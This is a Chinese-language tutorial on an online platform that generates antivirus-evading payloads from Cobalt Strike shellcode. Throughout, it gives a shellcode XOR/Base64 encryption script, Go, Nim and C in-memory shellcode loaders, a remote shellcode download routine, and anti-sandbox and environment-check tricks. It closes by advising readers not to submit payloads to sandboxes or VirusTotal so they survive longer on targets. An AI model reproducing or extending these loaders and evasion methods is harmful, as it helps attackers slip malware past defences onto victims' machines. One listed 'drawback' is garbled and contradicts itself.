Golang 免杀与AV Evasion Craft Online 在线免杀生成平台
字数 1663 2025-08-18 11:36:48
Golang 免杀与AV Evasion Craft Online 在线免杀生成平台教学文档
1. 项目概述
AV Evasion Craft Online 是一个通过 Web 界面实现多人分发的免杀生成平台,主要解决以下问题:
- 传统免杀项目需要手动复制 Shellcode 到源码并编译
- 团队协作时环境搭建和分发问题
- 重复使用同一植入物易被检测
项目地址:https://github.com/yutianqaq/AVEvasionCraftOnline (默认密码: yutian)
2. 程序处理流程
- 用户发送生成请求
- Shellcode 转换:编码、加密、压缩
- 工作目录初始化:
- 生成唯一 UUID 命名工作目录
- 复制原始模板代码到工作目录
- 模板预处理:
- 生成随机函数名称
- 填充转换后的 Shellcode
- 填充解密 Key
- 编译:根据选择的模板使用对应编译器
- 打包返回:将最终结果打包为 zip 返回给用户
3. 模板管理
3.1 目录结构
通过目录结构存放和管理模板,便于扩展和多样化:
template/
├── go_VirtualAlloc/
│ └── go_VirtualAlloc.go
├── nim_VirtualAlloc/
│ └── nim_VirtualAlloc.nim
└── c_VirtualAlloc/
└── c_VirtualAlloc.c
3.2 服务端配置
使用 YAML 配置文件管理模板映射:
bypassav:
templates-directory: /path/to/templates
storage-directory: /path/to/downloads
compilerwork-directory: /path/to/compiler
templates-mapping:
go_VirtualAlloc:
loadMethod: [EMBEDDED, REMOTE, LOCAL]
transformation: [base64Xor, xor]
nim_VirtualAlloc:
loadMethod: [EMBEDDED, LOCAL]
transformation: [xor]
c_VirtualAlloc:
loadMethod: [EMBEDDED]
transformation: [none]
compiler-c: x86_64-w64-mingw32-gcc
compiler-nim: nim
compiler-golang: go
4. Shellcode 处理
4.1 编码与加密
- 必要性:原始 Cobalt Strike Shellcode 有特征,易被静态检测
- 熵值分析:
- 原始 CS Shellcode: 7.226
- 多字节异或后: 7.728
- Base64编码后: 5.965 (更隐蔽但体积增大)
4.2 转换方法
-
Base64 + 多字节异或:
- 优点:熵值低(5.965),不易被静态分析
- 缺点:增大 Shellcode 体积
-
多字节异或:
- 优点:保持熵值接近原始(7.728)
- 缺点:比单字节异或更安全
4.3 Python 转换脚本
import os, sys, random, string, base64
def generate_random_string(length):
return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
def xor_encrypt(plaintext, key):
ciphertext = bytearray()
for i, byte in enumerate(plaintext):
ciphertext.append(byte ^ key[i % len(key)])
return bytes(ciphertext)
def main():
with open(sys.argv[1], "rb") as f:
plaintext = f.read()
key = generate_random_string(10).encode("utf-8")
ciphertext = xor_encrypt(plaintext, key)
print(f"Key: {key}")
print(f"Key Hex: {', '.join(f'0x{byte:02x}' for byte in key)}")
print(f"Base64 ciphertext: {base64.b64encode(ciphertext).decode()}")
5. Shellcode 存储位置
5.1 三种存储方式
-
EMBEDDED (内嵌):
- 直接嵌入代码中
- 优点:单文件分发
- 缺点:增加程序熵值
-
LOCAL (本地分离):
- 从本地文件读取
- 优点:降低主程序熵值
- Go实现:
content, err := ioutil.ReadFile("shellcode.bin")
-
REMOTE (远程分离):
- 从远程服务器获取
- 优点:动态更新,最难检测
- Go实现(使用fasthttp):
func fetchShellcode() []byte { _, body, _ := fasthttp.Get(nil, "http://example.com/shellcode") return body }
6. 多语言实现
6.1 Nim 语言
- 优点:可直接嵌入C代码,增加逆向难度
- 编译命令:
nim c -d:minwg -d:release --app=gui --cpu=amd64 hello.nim - 示例:
{.emit: """ #include <windows.h> unsigned char payload[] = {0x90, 0x90}; unsigned int payload_len = sizeof(payload); int Ldrx() { PVOID p = VirtualAlloc(0, payload_len, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); RtlMoveMemory(p, payload, payload_len); VirtualProtect(p, payload_len, PAGE_EXECUTE_READ, &oldProtect); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)p, 0, 0, 0); return 0; } """.} proc Ldr(): int {.importc: "Ldrx", nodecl.}
6.2 C 语言
传统但有效的实现方式,体积小,性能高。
7. Go 免杀技术
7.1 Shellcode 加载方式
-
SyscallN:
func Ldr1(calc []byte) { mKernel32, _ := syscall.LoadDLL("kernel32.dll") fVirtualAlloc, _ := mKernel32.FindProc("VirtualAlloc") calc_len := uintptr(len(calc)) Ptr1, _, _ := fVirtualAlloc.Call(uintptr(0), calc_len, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) WriteMemory(calc, Ptr1) syscall.SyscallN(Ptr1, 0, 0, 0, 0) } -
CreateThread:
func Ldr1(calc []byte) { mKernel32, _ := syscall.LoadDLL("kernel32.dll") fVirtualAlloc, _ := mKernel32.FindProc("VirtualAlloc") fCreateThread, _ := mKernel32.FindProc("CreateThread") fWaitForSingleObject, _ := mKernel32.FindProc("WaitForSingleObject") calc_len := uintptr(len(calc)) Ptr1, _, _ := fVirtualAlloc.Call(uintptr(0), calc_len, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) WriteMemory(calc, Ptr1) TtdAddr, _, _ := fCreateThread.Call(0, 0, Ptr1, 0, 0, 0) fWaitForSingleObject.Call(TtdAddr, 0xFFFFFFFF) } -
EnumThreadWindows:
func Ldr1(calc []byte) { mKernel32, _ := syscall.LoadDLL("kernel32.dll") mUser32, _ := syscall.LoadDLL("user32.dll") fVirtualAlloc, _ := mKernel32.FindProc("VirtualAlloc") calc_len := uintptr(len(calc)) Ptr1, _, _ := fVirtualAlloc.Call(uintptr(0), calc_len, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) WriteMemory(calc, Ptr1) fenumThreadWindows, _ := mUser32.FindProc("EnumThreadWindows") fenumThreadWindows.Call(0, Ptr1, 0) }
7.2 反沙箱技术
-
延迟加载:
func Sleeeep() { res := 1 for i := 0; i < 5; i++ { number := rand.Intn(900) + 100 res *= number } time.Sleep(10 * time.Second) } -
路径检测:
func main() { args := os.Args[0] if (args[10] == 92 && (args[0] == 99 || args[0] == 67)) { os.Exit(0) } }- 检测路径是否为
C:\随机7字符\xxx.exe格式 - 92 = '', 99 = 'c', 67 = 'C'
- 检测路径是否为
8. 扩展模板
8.1 添加新模板步骤
- 复制现有模板目录并重命名
- 修改代码中的加载方式
- 更新 YAML 配置文件
- 测试编译和功能
9. 增强免杀效果的建议
- 修改编译参数:优化体积和特征
- 增加资源:添加图标、版本信息等
- 自签名证书:使用有效证书签名
- 环境检测:只在目标环境执行
- 检查是否加入域
- 检查内存、CPU等硬件信息
- 检查临时文件等环境特征
10. 总结
杀软对抗需要多层面进行:
- 自定义编码/加密(保持低熵值)
- 多样化的 Shellcode 加载方式
- 多语言实现增加检测难度
- 有效的反沙箱和反分析机制
- 环境特定化执行逻辑
重要提醒:生成的免杀程序不要上传到沙箱或VT检测,仅在目标环境使用以延长存活时间。
附录:参考资源
- 文件熵值分析:https://practicalsecurityanalytics.com/file-entropy/
- 替代 Shellcode 执行方式:https://github.com/xiecat/AlternativeShellcodeExec-Go
- Nim 语言官网:https://nim-lang.org/
- Go 语言官网:https://golang.org/